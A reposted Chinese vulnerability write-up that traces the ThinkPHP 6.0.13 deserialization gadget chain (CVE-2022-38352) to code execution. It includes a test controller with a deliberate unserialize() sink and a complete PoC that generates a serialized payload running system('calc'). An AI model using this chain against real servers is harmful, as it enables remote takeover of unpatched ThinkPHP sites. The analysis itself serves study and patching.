好文分享系列 || Thinkphp v6.0.13反序列化(CVE-2022-38352)分析
2023-3-6 17:40:34 Author: 玄魂工作室(查看原文) 阅读量:22 收藏

嗨,大家好,欢迎来到【好文分享系列】,不定期转载分享干货好文,让大家一起学习进步,一起卷起来。

文章转载自先知社区,原文链接如下:https://xz.aliyun.com/t/12169(如有侵权,可联系删除)
1.环境搭建

目前的Thinkphp6.1.0以上已经将filesystem移除了,之前因为这玩意儿曝出了好多条反序列化漏洞。
composer安装Thinkphp6.0.13:

composer create-project topthink/think=6.0.13 tp6

修改app/controller/Index.php添加反序列化点:

<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
public function index(){
if($_POST["a"]){
unserialize(base64_decode($_POST["a"]));
}
return "hello";
}

public function hello($name = 'ThinkPHP6')
{
return 'hello,' . $name;
}
}

2.漏洞分析

入口是League\Flysystem\Cached\Storage\Psr6Cache父类League\Flysystem\Cached\Storage\AbstractCache__destruct()方法:

$this->autosave可控,调用Psr6Cache类的save()方法,跟进:

$this->pool可控,可以调用任意类的__call()方法,漏洞披露者在这儿调用的是think\log\Channel类的__call()方法:

传入的参数中$method是调用调用__call()方法时的方法名,即getItem。$parameters传入的是可控的$this->key。跟进log()方法:

调用了record()方法:

这里面很多参数都可控,控制$this->lazy参数为false即可调用save()方法:

$this->logger参数可控,调用任意类的save()方法,这里利用的是think\log\driver\Socket的save()方法:

首先是要绕过第一个判断,if (!$this->check()),需要check()方法返回true,跟进check()方法看看:

这里控制$this->config['force_client_ids']为true,$this->config['allow_client_ids']为空即可成功返回true。返回save()方法,控制$this->config['debug']为true进入分支:

继续进入下一个分支需要$this->app->exists('request')返回true。所以给$this->app赋值为think\APP类,APP类没有exists()方法,调用父类think\Container的exists()方法:

注释中说明了这个方法的功能,传入的$abstract参数是request,调用getAlias()方法,跟进看一下这个方法的功能:

根据别名获取真实类名,所以这个函数的返回的是think\Request,需要exists()方法中的isset($this->instances[$abstract])返回true,给$this->instances赋值为['think\Request'=>new Request()]即可:

接下来,调用Request类的url()方法:

url()方法中将我们可控的$this->url赋值给$url,同时因为传入的$complete参数为true,所以会调用domain()方法,并将返回结果和可控的$url拼接起来:

这里是在拼接协议和host,我这里调试获取到的结果是:

执行url()方法获取到的结果赋值给$currentUri参数:

给$this->config['format_head']赋值,执行Container类的invoke方法:

跟进invoke()方法,执行第三个return语句:

跟进invokeMethod方法,如果我们传入的是数组,就将键赋给$class,将值赋给$method:

接下来的代码玩java反序列化的选手应该比较熟悉了,这三行代码实现了反射执行任意类的任意方法:

而其中$class和$method是我们控制的$this->config['format_head']变量中的内容,$vars是$currentUri变量中的内容,其中拼接时传入的$this->url部分是我们可控的:

三个参数都可控,寻找一个可以利用的类和方法,这里找到的是think\view\driver\Php#display(),很明显的rce了:

再回头来看看我们传的参数,$currentUri变量的前半部分是http://,后半部分就是我们拼接的$this->url,控制$this->url为我们想要执行的php代码即可:

最终实现RCE:

Poc:

<?php

namespace League\Flysystem\Cached\Storage{

class Psr6Cache{
private $pool;
protected $autosave = false;
public function __construct($exp){
$this->pool = $exp;
}
}
}

namespace think\log{
class Channel{
protected $logger;
protected $lazy = true;

public function __construct($exp){
$this->logger = $exp;
$this->lazy = false;
}
}
}

namespace think{
class Request{
protected $url;
public function __construct(){
$this->url = '<?php system(\'calc\'); exit(); ?>';
}
}
class App{
protected $instances = [];
public function __construct(){
$this->instances = ['think\Request'=>new Request()];
}
}
}

namespace think\view\driver{
class Php{}
}

namespace think\log\driver{

class Socket{
protected $config = [];
protected $app;
public function __construct(){

$this->config = [
'debug'=>true,
'force_client_ids' => 1,
'allow_client_ids' => '',
'format_head' => [new \think\view\driver\Php,'display'],
];
$this->app = new \think\App();

}
}
}

namespace{
$c = new think\log\driver\Socket();
$b = new think\log\Channel($c);
$a = new League\Flysystem\Cached\Storage\Psr6Cache($b);
echo urlencode(base64_encode(serialize($a)));
}

参考链接:https://github.com/top-think/framework/issues/2749


文章来源: http://mp.weixin.qq.com/s?__biz=MzA4NDk5NTYwNw==&mid=2651429668&idx=1&sn=eb2ad9b04cea6bae0f9c8e47d595c171&chksm=8423805cb354094ab5cf54e530cb1c2255ed22e2b0830ceaa4b542c9feb399e7abeaa7c532d8#rd
如有侵权请联系:admin#unsafe.sh